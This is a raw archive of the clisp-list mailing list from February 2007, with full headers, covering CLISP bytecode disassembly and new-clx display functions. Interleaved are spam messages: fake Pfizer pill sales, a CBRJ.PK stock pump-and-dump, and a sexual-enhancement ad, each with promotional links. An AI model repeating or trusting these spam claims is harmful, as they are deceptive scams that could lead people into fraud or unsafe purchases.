"Arnhold Michael" To: "Davidov Alexander" Date: Sat, 10 Feb 2007 03:10:51 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1441 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 INFO_TLD URI: Contains an URL in the INFO top-level domain Subject: [clisp-list] 4 in 10 U.S. Teens Exposed to Online Porn X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 10 Feb 2007 03:14:15 -0000 Hello! We offer Genuine! products for mans directly from Pfizer. Just go to: http://workathomesearchdirectory.info Prices without tax/vat. Worldwide shipping (free)! -- kifmfofugjgnjjflfhgugohtfigofhflffkpflgofhfpgpgugsgifugogppttutmum From robert.dodier@gmail.com Wed Feb 14 07:14:16 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HHLpo-00056t-GS for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 07:14:16 -0800 Received: from nf-out-0910.google.com ([64.233.182.190]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HHLpm-0000KX-VO for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 07:14:16 -0800 Received: by nf-out-0910.google.com with SMTP id c31so1390219nfb for ; Wed, 14 Feb 2007 07:14:09 -0800 (PST) Received: by 10.82.134.12 with SMTP id h12mr862578bud.1171466049080; Wed, 14 Feb 2007 07:14:09 -0800 (PST) Received: by 10.82.107.16 with HTTP; Wed, 14 Feb 2007 07:14:09 -0800 (PST) Message-ID: Date: Wed, 14 Feb 2007 08:14:09 -0700 From: "Robert Dodier" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Status of CLISP bytecode --> Java bytecode task? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Feb 2007 15:14:16 -0000 Hello, There is a CLISP bytecode --> Java bytecode task listed at: http://sourceforge.net/pm/?group_id=1355 but following that link yields nothing. I wonder, has any progress been made on that? I found some discussion of the idea in the mailing list archives from 2001, but I wasn't able to find anything more recent. My interest here is to run a CL program (Maxima) on a JVM (something which is requested from time to time on the Maxima mailing list). Thanks for any information. Robert Dodier From sds@gnu.org Wed Feb 14 07:44:39 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HHMJC-0008GY-HR for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 07:44:39 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HHMJ9-0001oG-JA for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 07:44:38 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id AE2E0430; Wed, 14 Feb 2007 10:43:42 -0500 Message-ID: <45D32E2E.40105@gnu.org> Date: Wed, 14 Feb 2007 10:43:42 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Robert Dodier References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Status of CLISP bytecode --> Java bytecode task? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Feb 2007 15:44:39 -0000 Hi, Robert Dodier wrote: > > There is a CLISP bytecode --> Java bytecode task listed at: > http://sourceforge.net/pm/?group_id=1355 > but following that link yields nothing. > I wonder, has any progress been made on that? no one is working on this. would you like to volunteer? > My interest here is to run a CL program (Maxima) on a JVM I think your best bet is ABCL at this time. Sam. From robert.dodier@gmail.com Wed Feb 14 11:06:33 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HHPSb-0006C5-1j for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 11:06:33 -0800 Received: from nf-out-0910.google.com ([64.233.182.188]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HHPSV-0003ky-Eg for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 11:06:29 -0800 Received: by nf-out-0910.google.com with SMTP id c31so1593709nfb for ; Wed, 14 Feb 2007 11:06:24 -0800 (PST) Received: by 10.82.134.12 with SMTP id h12mr1315182bud.1171479983119; Wed, 14 Feb 2007 11:06:23 -0800 (PST) Received: by 10.82.107.16 with HTTP; Wed, 14 Feb 2007 11:06:22 -0800 (PST) Message-ID: Date: Wed, 14 Feb 2007 12:06:22 -0700 From: "Robert Dodier" To: clisp-list@lists.sourceforge.net In-Reply-To: <45D32E2E.40105@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <45D32E2E.40105@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] Status of CLISP bytecode --> Java bytecode task? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Feb 2007 19:06:33 -0000 On 2/14/07, Sam Steingold wrote: > > There is a CLISP bytecode --> Java bytecode task listed at: > > http://sourceforge.net/pm/?group_id=1355 > > but following that link yields nothing. > > I wonder, has any progress been made on that? > > no one is working on this. > would you like to volunteer? I'll take a look at it. Is there a pretty printer for Clisp bytecode output? Or even a not-so-pretty-printer -- I am just looking for a way to dump out Clisp bytecodes in plain text. > > My interest here is to run a CL program (Maxima) on a JVM > > I think your best bet is ABCL at this time. I tried that -- I managed to recompile Maxima but the result fails the Maxima test suite. I didn't investigate since the ABCL project is dormant, and Maxima + ABCL was terribly slow anyway. Thanks for the info. Robert From sds@gnu.org Wed Feb 14 11:36:54 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HHPvn-0000gd-QD for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 11:36:48 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HHPvk-0002Vd-An for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 11:36:43 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A4C00484; Wed, 14 Feb 2007 14:36:32 -0500 Message-ID: <45D364C0.1010109@gnu.org> Date: Wed, 14 Feb 2007 14:36:32 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Robert Dodier References: <45D32E2E.40105@gnu.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Status of CLISP bytecode --> Java bytecode task? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Feb 2007 19:36:55 -0000 Robert Dodier wrote: > On 2/14/07, Sam Steingold wrote: > >>> There is a CLISP bytecode --> Java bytecode task listed at: >>> http://sourceforge.net/pm/?group_id=1355 >>> but following that link yields nothing. >>> I wonder, has any progress been made on that? >> no one is working on this. >> would you like to volunteer? > > I'll take a look at it. Is there a pretty printer for Clisp bytecode > output? Or even a not-so-pretty-printer -- I am just looking for > a way to dump out Clisp bytecodes in plain text. the true pretty-printer is DISASSEMBLE. http://clisp.cons.org/impnotes/bytecode.html From pjb@informatimago.com Wed Feb 14 11:37:24 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HHPwF-0000lt-GJ for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 11:37:15 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HHPwA-0004ns-TD for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 11:37:11 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 412D4586A7; Wed, 14 Feb 2007 20:36:59 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B0812585EB; Wed, 14 Feb 2007 20:36:55 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 21A4B12AD86; Wed, 14 Feb 2007 20:36:55 +0100 (CET) From: Pascal Bourguignon Message-ID: <17875.25815.101795.464830@thalassa.informatimago.com> Date: Wed, 14 Feb 2007 20:36:55 +0100 To: "Robert Dodier" In-Reply-To: References: <45D32E2E.40105@gnu.org> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Status of CLISP bytecode --> Java bytecode task? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Feb 2007 19:37:24 -0000 Robert Dodier writes: > On 2/14/07, Sam Steingold wrote: > > > > There is a CLISP bytecode --> Java bytecode task listed at: > > > http://sourceforge.net/pm/?group_id=1355 > > > but following that link yields nothing. > > > I wonder, has any progress been made on that? > > > > no one is working on this. > > would you like to volunteer? > > I'll take a look at it. Is there a pretty printer for Clisp bytecode > output? Or even a not-so-pretty-printer -- I am just looking for > a way to dump out Clisp bytecodes in plain text. (cl:disassemble 'some-function) But you may have to do your own walking for some of the data in the "closure" structures, using accessors in the SYSTEM package. For example, cl:disassemble doesn't dump the local and anonymous functions defined in a function. -- __Pascal Bourguignon__ http://www.informatimago.com/ Un chat errant se soulage dans le jardin d'hiver Shiki From sds@gnu.org Wed Feb 14 11:49:16 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HHQ7v-0001zc-JS for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 11:49:15 -0800 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HHQ7t-0005rX-HJ for clisp-list@lists.sourceforge.net; Wed, 14 Feb 2007 11:49:15 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A7B2040C; Wed, 14 Feb 2007 14:49:06 -0500 Message-ID: <45D367B2.20905@gnu.org> Date: Wed, 14 Feb 2007 14:49:06 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: pjb@informatimago.com References: <45D32E2E.40105@gnu.org> <17875.25815.101795.464830@thalassa.informatimago.com> In-Reply-To: <17875.25815.101795.464830@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Status of CLISP bytecode --> Java bytecode task? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Feb 2007 19:49:16 -0000 Pascal Bourguignon wrote: > > But you may have to do your own walking for some of the data in the > "closure" structures, using accessors in the SYSTEM package. > > For example, cl:disassemble doesn't dump the local and anonymous > functions defined in a function. LOCAL macro is what you are looking for. [7]> (defun f (a l) (flet ((g (x) (* a x))) (mapcar #'g l))) F [8]> (disassemble 'f) Disassembly of function F (CONST 0) = # 2 required arguments 0 optional arguments No rest parameter No keyword parameters 9 byte-code instructions: 0 (NIL) 1 (MAKE-VECTOR1&PUSH 1) 3 (LOAD&STOREC 3 0 0) 7 (LOAD&PUSH 0) 8 (COPY-CLOSURE&PUSH 0 1) ; # 11 (LOAD&PUSH 0) 12 (LOAD&PUSH 4) 13 (CALLSR 0 22) ; MAPCAR 16 (SKIP&RET 5) NIL [9]> (disassemble (local f g)) Disassembly of function F-G (CONST 0) = NIL 1 required argument 0 optional arguments No rest parameter No keyword parameters 4 byte-code instructions: 0 (LOADV&PUSH 0 1) 3 (LOAD&PUSH 2) 4 (CALLSR 2 55) ; * 7 (SKIP&RET 2) NIL [10]> From grue@diku.dk Fri Feb 16 01:11:29 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HHz7o-0002BE-La for clisp-list@lists.sourceforge.net; Fri, 16 Feb 2007 01:11:28 -0800 Received: from mgw1.diku.dk ([130.225.96.91] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HHz7n-00067V-6O for clisp-list@lists.sourceforge.net; Fri, 16 Feb 2007 01:11:28 -0800 Received: from localhost (localhost [127.0.0.1]) by mgw1.diku.dk (Postfix) with ESMTP id 8927A770128 for ; Fri, 16 Feb 2007 10:11:23 +0100 (CET) X-Virus-Scanned: amavisd-new at diku.dk Received: from mgw1.diku.dk ([127.0.0.1]) by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id IpYTjf0uVVUg for ; Fri, 16 Feb 2007 10:11:22 +0100 (CET) Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140]) by mgw1.diku.dk (Postfix) with ESMTP id 39D427700EE for ; Fri, 16 Feb 2007 10:11:22 +0100 (CET) Received: from tyr.diku.dk (tyr.diku.dk [130.225.96.226]) by nhugin.diku.dk (Postfix) with ESMTP id 43A9D6DF9AB for ; Fri, 16 Feb 2007 10:10:39 +0100 (CET) Received: by tyr.diku.dk (Postfix, from userid 1018) id 1353161ACE; Fri, 16 Feb 2007 10:11:22 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by tyr.diku.dk (Postfix) with ESMTP id 0AB5B232EA for ; Fri, 16 Feb 2007 10:11:22 +0100 (CET) Date: Fri, 16 Feb 2007 10:11:22 +0100 (CET) From: Klaus Ebbe Grue To: clisp-list@lists.sourceforge.net In-Reply-To: <17851.18957.513923.464278@thalassa.informatimago.com> Message-ID: References: <8481115.post@talk.nabble.com> <17844.47017.377261.438817@thalassa.informatimago.com> <8659740.post@talk.nabble.com> <17851.18957.513923.464278@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] new-clx pointer needed X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 Feb 2007 09:11:29 -0000 Hi clist-list, Can anyone give me a pointer to a new-clx development site, a new-clx faq or something? Reason: I did > (display-resource-id-base (close-display (open-display "127.0.0.1"))) and got > Internal error: statement in file "clx.f", line 1838 has been > reached!! Please send the authors of the program a description how > you produced this error! By the way, if a new-clx expert reads this e-mail: How does one test whether or not a given display is open or closed? I am trying to program a function (safe-close-display d) which closes d if d is an open display and does nothing if d is no display or a closed display. Cheers, Klaus From 895stocknews@tourespana.com Sat Feb 17 11:09:40 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HIUwF-0003Wm-32 for clisp-list@lists.sourceforge.net; Sat, 17 Feb 2007 11:09:40 -0800 Received: from [201.161.147.150] (helo=admin-162fd1246.grupohevi.com.mx) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HIUwE-0006os-DC for clisp-list@lists.sourceforge.net; Sat, 17 Feb 2007 11:09:39 -0800 From: Reginald <895stocknews@tourespana.com> To: Date: Sat, 17 Feb 2007 19:09:35 +0360 MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Thread-Index: Aca6QCDSF),>D84740H.)ZUBA8.,26== Message-ID: X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 YOUR_INCOME BODY: Doing something with my income Subject: [clisp-list] Version of the Networking Guide with me, while X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 17 Feb 2007 19:09:40 -0000 I don't have contacts with British people. But I've always had an image of Britain being a very tolerant country, with lots judged various television Kumar in the past, but New SHARE for U ● CARBON RACE CORP (CBRJ.PK) ● !!! unbelievable STOCK with great growth potential and good management!!! We ASSURE that U had not CHANCE like this before. Try to catch it RIGHT NOW!!! And YOU can DOUBLE your INCOME just for SEVERAL days. CARBON RACE is well organized to design and engineer greatly improved products for Racing, Sports and various other markets. For more info about CBRJ.PK check broker web-site!!! Hurry up YOU have to get this CBRJ.PK STOCK on TuesDAY: 02.20.07 I have British friends and Their behavior is basic and cruel and I think the broadcaster should intervene and put an end to it. This has become From sds@gnu.org Sat Feb 17 17:56:56 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HIbIK-00032X-EK for clisp-list@lists.sourceforge.net; Sat, 17 Feb 2007 17:56:56 -0800 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HIbIH-00006j-LB for clisp-list@lists.sourceforge.net; Sat, 17 Feb 2007 17:56:52 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JDM00KUZYQHJOE0@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 17 Feb 2007 20:56:43 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id 6DA0D21E084; Sat, 17 Feb 2007 20:56:41 -0500 (EST) Date: Sat, 17 Feb 2007 20:56:41 -0500 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Klaus Ebbe Grue Mail-followup-to: clisp-list@lists.sourceforge.net, Klaus Ebbe Grue Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <8481115.post@talk.nabble.com> <17844.47017.377261.438817@thalassa.informatimago.com> <8659740.post@talk.nabble.com> <17851.18957.513923.464278@thalassa.informatimago.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.93 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] new-clx pointer needed X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 18 Feb 2007 01:56:56 -0000 > * Klaus Ebbe Grue [2007-02-16 10:11:22 +0100]: > > Can anyone give me a pointer to a new-clx development site, a new-clx > faq or something? sources is your doc (other than the general CLX documentation) > Reason: I did > >> (display-resource-id-base (close-display (open-display "127.0.0.1"))) > > and got > >> Internal error: statement in file "clx.f", line 1838 has been >> reached!! Please send the authors of the program a description how >> you produced this error! XLIB:DISPLAY-RESOURCE-ID-BASE is not implemented, see the sources. http://www.cygwin.com/acronyms/#PTC > By the way, if a new-clx expert reads this e-mail: How does one test > whether or not a given display is open or closed? I am trying to > program a function (safe-close-display d) which closes d if d is an > open display and does nothing if d is no display or a closed display. XLIB:CLOSED-DISPLAY-P -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://jihadwatch.org http://truepeace.org http://palestinefacts.org http://honestreporting.com http://memri.org http://dhimmi.com Don't use force -- get a bigger hammer. From grue@diku.dk Sun Feb 18 02:38:40 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HIjRI-00057z-6F for clisp-list@lists.sourceforge.net; Sun, 18 Feb 2007 02:38:40 -0800 Received: from mgw1.diku.dk ([130.225.96.91] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HIjRG-00048h-PC for clisp-list@lists.sourceforge.net; Sun, 18 Feb 2007 02:38:40 -0800 Received: from localhost (localhost [127.0.0.1]) by mgw1.diku.dk (Postfix) with ESMTP id 0E7EF770046 for ; Sun, 18 Feb 2007 11:38:35 +0100 (CET) X-Virus-Scanned: amavisd-new at diku.dk Received: from mgw1.diku.dk ([127.0.0.1]) by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id DgvYJpUR+9I2 for ; Sun, 18 Feb 2007 11:38:33 +0100 (CET) Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140]) by mgw1.diku.dk (Postfix) with ESMTP id D41D1770039 for ; Sun, 18 Feb 2007 11:38:33 +0100 (CET) Received: from tyr.diku.dk (tyr.diku.dk [130.225.96.226]) by nhugin.diku.dk (Postfix) with ESMTP id DC95B6DF823 for ; Sun, 18 Feb 2007 11:37:47 +0100 (CET) Received: by tyr.diku.dk (Postfix, from userid 1018) id AC48C61ACE; Sun, 18 Feb 2007 11:38:33 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by tyr.diku.dk (Postfix) with ESMTP id 9D28E232EA for ; Sun, 18 Feb 2007 11:38:33 +0100 (CET) Date: Sun, 18 Feb 2007 11:38:33 +0100 (CET) From: Klaus Ebbe Grue To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: <8481115.post@talk.nabble.com> <17844.47017.377261.438817@thalassa.informatimago.com> <8659740.post@talk.nabble.com> <17851.18957.513923.464278@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] new-clx pointer needed X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 18 Feb 2007 10:38:40 -0000 Dear Sam, >> Can anyone give me a pointer to a new-clx development site, a new-clx >> faq or something? > > sources is your doc (other than the general CLX documentation) Thanks - (pointer to a new-clx development site) = nil was what I needed to get on. modules/clx/new-clx/README answers all my questions. >> How does one test whether or not a given display is open or closed? > > XLIB:CLOSED-DISPLAY-P Thanks - Klaus From Polimeni@lbbl.net Sun Feb 18 17:18:01 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HIxAH-0005gH-76 for clisp-list@lists.sourceforge.net; Sun, 18 Feb 2007 17:18:01 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HIxAF-0004FJ-Do for clisp-list@lists.sourceforge.net; Sun, 18 Feb 2007 17:18:00 -0800 Received: from [190.40.246.94] (helo=[190.40.246.94]) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1HIxAB-00006X-JY for clisp-list@lists.sourceforge.net; Sun, 18 Feb 2007 17:17:58 -0800 Message-ID: <09b601c753c3$07a4ce59$5ef628be@[190.40.246.94]> From: "Marinov Hristo" To: "Rocha Bruno" Date: Mon, 19 Feb 2007 01:14:02 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.2 RISK_FREE BODY: Risk free. Suuurreeee.... X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 RISK_FREE BODY: Risk free. Suuurreeee.... Subject: [clisp-list] Grammy TV ratings up without "Idol" competition X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 19 Feb 2007 01:18:01 -0000 The Only way to Maximize your Sexual Power and Sperm quality/quantity. Go and Order it here: http://hualicosmetics.com P.S.: Approved by Doctors - 